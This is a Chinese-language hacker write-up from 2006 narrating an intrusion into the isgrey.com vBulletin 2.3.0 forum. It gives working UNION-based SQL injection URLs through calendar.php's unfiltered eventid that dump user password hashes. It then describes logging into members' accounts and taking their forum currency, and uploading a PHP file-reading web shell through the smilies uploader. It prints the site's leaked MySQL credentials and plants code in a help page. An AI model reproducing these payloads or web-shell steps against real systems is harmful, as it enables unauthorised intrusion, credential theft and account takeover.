学院首页>冲浪宝典>局域网>入侵灰色轨迹论坛

入侵灰色轨迹论坛

作者: 来源:不详 添加时间:2006-5-25 22:48:50

  灰色轨迹:一个人气很不错的黑客技术站点,也是当年培育我成长得地方。一日,闲来无事便想测试一下php脚本的安全性。所以就看了看灰色轨迹的VBB论坛。
  
  因为是由于灰色论坛启发的学习之路,所以偶得先看看灰色论坛用得是版本的vbb了―――vBulletin Forum 2.3.0。 恩,就是这个,立刻找到了原文件看起来。一来就打开看到了日历文件这里有这么一段:
  calendar。php,发现问题!
  -------- 相关代码如下 ----------
  else if ($action == "edit")
  {
  $eventinfo = $DB_site->query_first("SELECT
  allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid =
  $eventid");
  if ($eventinfo[userid] != $bbuserinfo[userid])
  {
  $permissions=getpermissions();
  if ($permissions[canpublicedit]!=1) {
  show_nopermission();
  }
  OK。我们可以看到eventid没有过滤。可以进行SQL INJECTION注射攻击。所以下面我们来构造句子进行注射。PHP+MYSQL的注射攻击条件比较难。由于MYSQL本身功能问题。限制了不少有用的注射方法。所以我们要完成注射就要找别的方法了。
  
  如果论坛使用的MySQL版本在4.00以上,就可以进行UNION攻击。至于如何察看MYSQL版本就不多说了。利用注射就可以做到得。
  攻击演示句子:
  http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
  此时query_first函数将只返回第一行的查询结果,如果存在漏洞。我们将看到MYSQL得版本和MYSQL得用户如果我们构造好。就可以得到数据库得任何内容。当然包括USER表中的密码
  二.论坛攻击与测试过程
  开始对灰色轨迹论坛进行测试:
  http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
  我们看到了结果:
  4.0.2-alpha-nt -----------------出现在标题栏--------就是我们的user()函数
  isgreyvbb@localhost ------------------------------事件内容里-----我们的version()函数
  再来
  http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
  结果:
  ------------------------------------------------
  看起来中新软件-灰色轨迹安全咨讯站技术讨论区数据库发生了一些微小的错误
  请按浏览器的 刷新 按钮重试。
  一封 E-Mail 已经发送给 技术支持信箱, 如果问题仍然存在,你也可以直接联系。
  
  对给你造成的不便我们深表歉意。
  ―――――――――――――――――――――――――――
  再来:
  http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,now(),database()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
  
  vbb----------数据库名字
  
  http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,user(),md5(123456)%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate10adc3949ba59abbe56e057f20f883e
  哈哈........随便测试了几个函数.都成功了.但是我们怎么来取得密码呢?
  
  *******************************************************************************
  下面来构造取密码的句子:
  恩,我们用UNION.UNION来看看。两张表字段要相等,类型要相似,满足条件非常简单。
  SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) 
  MySQL said:
  The used SELECT statements have a different number of columns
  恩,字段不相等,错误
  ********************************************************************************************
  本地测试UNION句子:
  SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)allowsmilies public userid eventdate event subject Edit Delete 1 1 1 2000-00-01 welcomesay 6a204bd89f3c8348afd5c77c717a097a
  恩。返回成功了,我们看到了想要得东西.密码.这里感谢一下兄弟小竹.注入过程以及构造过程中.他给了很大启发以及帮助.!~我们的句子就要这样构造就行了。
  
  回到灰色论坛来:
  *******************************************************************************
  http://zerolu.vicp.net/calendar.php?s=&action=edit&eventid=11%20UNION%20(SELECT%201,0,2,񟬿-01-01,a,password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate
  哈哈!!!!!!!!!!成功.可以显示任何人密码了.哈哈!~测试成功!~
  http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20UNION%20(SELECT%201,0,12695,񟬿-01-01,a,password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate
  哈哈.蓝骑士的密码拿来了.我们登陆看看.哼!~欢迎你回来:蓝骑士...............哈哈...........成功!~然后就进了银行.将他仅有的192个金币转走了.嘻!~接下来我们来取沙子得密码,先查他ID:
  http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20UNION%20(SELECT%201,0,12695,񟬿-01-01,a,userid%20FROM%20user%20WHERE%20username=sandflee)%20order%20by%20eventdate
  这样就返回了ID号:6565-----------沙子得ID
  查查SANDFLEE的USERID多少,哇,单引号也可以使用呀。
  http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20UNION%20(SELECT%201,0,12695,񟬿-01-01,username,password%20FROM%20user%20WHERE%20userid=6565)%20order%20by%20eventdate
  哈哈,USERID=6565的用户和密码出来了.!然后当然是登陆.偷他钱了.哼 ---------------欢迎你回来:Sandflee
  用户名: Sandflee
  总资产: 1582414
  现金: 1
  存款: 1582413
  恩,先拿他100万了.给他留点
  http://bbs.isgrey.com/showgroups.php 恩.来察看了一下管理员情况.有三个哦
  本来是32位密码.去掉前后8位是16位的了.
  sandflee --------------6565 d82f53035a0311f0
  pskey -------13384 e429cd6be979bb0a
  IpFilterImD ----9914 6a31ceb936eeef23
  进入后台:
  29175183 sandflee ----------破出的密码.呵呵.幸好是数字哦
  
  来到表情符号上传那就可以开始上传PHP文件了.
  另外要备份数据库也很简单.都是现成提供好的功能了.呵呵..........
  然后我们写个小程序.<?readfile($heiye)?>
  heiye.php
  http://bbs.isgrey.com/images/smilies/heiye.php?a=..\..\admin\config.php
  (呵呵..........MYSQL的用户和密码也来了.网页是不显示的.空白的.察看源代码就可以看到了)
  /////////////////////////////////////////////////////////////
  // Please note that if you get any errors when connecting, //
  // that you will need to email your host as we cannot tell //
  // you what your specific values are supposed to be //
  /////////////////////////////////////////////////////////////
  
  // type of database running
  // (only mysql is supported at the moment)
  $dbservertype=mysql
  
  // hostname or ip of server
  $servername=localhost
  
  // username and password to log onto db server
  $dbusername=isgreyvbb
  $dbpassword=bbq139
  
  // name of database
  $dbname=vbb
  
  // technical email address - any error messages will be emailed here
  $technicalemail=webmaster@isgrey.com
  
  // use persistant connections to the database
  // 0 = dont use
  // 1 = use
  $usepconnect=0;
  
  ?>824
  
  OK,看见MYSQL密码了,这里他限制外部连接了............呵呵...........
  后来写了些小脚本上去,因为他禁止了调用CMD。只能利用PHP内部函数了.
  http://bbs.isgrey.com/admin/temp3.php?c=dir&f=d:\
  bbs mysql RECYCLER sandflee System Volume Information temp
  http://bbs.isgrey.com/admin/temp3.php?c=dir&f=c:\Zxfirewall\
  . .. config.ini drivers install install.bat InterfaceDLL.dll IPFControlService.exe
  IPFMonitor.exe password.key systemfilters.txt uninstall.bat
  http://bbs.isgrey.com/admin/temp3.php?c=file&f=c:\Zxfirewall\config.ini
  server=127.0.0.1 18
  http://bbs.isgrey.com/admin/temp3.php?c=file&f=c:\Zxfirewall\install.bat
  ipfcontrolservice -i ipfcontrolservice -s 44
  http://bbs.isgrey.com/admin/temp3.php?c=file&f=c:\Zxfirewall\systemfilters.txt
  ; For test only
  允许自己用ping命令探测其他机器 Filter { name = 允许自己用ping命令探测其他机器
  description = 防止别人用ping命令探测 protocol = ICMP ICMP_Type = 0 receive pass }
  防止别人用ping命令探测 Filter { name = 防止别人用ping命令探测 description = 防止别人用ping命令
  探测 protocol = ICMP icmp_type = 8 receive } HTTP protocol filter { name = 禁止HTTP协议(80端口) description = 禁止HTTP协议(80端口) protocol = TCP tcp_remoteport = 80 send receive } 513 恩..........看了些文件.没意思了.现在就能改论坛首页了.不过我们的目的是检测.没有破坏的意思.所以就没有做了.毕竟对灰色有感情。
  后来就找了个帮助页,插进了我们的代码,走人了.由于之前有点感情.所以没给他改页.呵呵.
  
  三.总结:
  PHP注入的确比ASP难得多。不过,多去研究发现,很多问题还是存在的。比ASP注入攻击等有意思多了。希望这篇PHP注入的文章能带给大家一些新的攻击注入思路。


站内搜索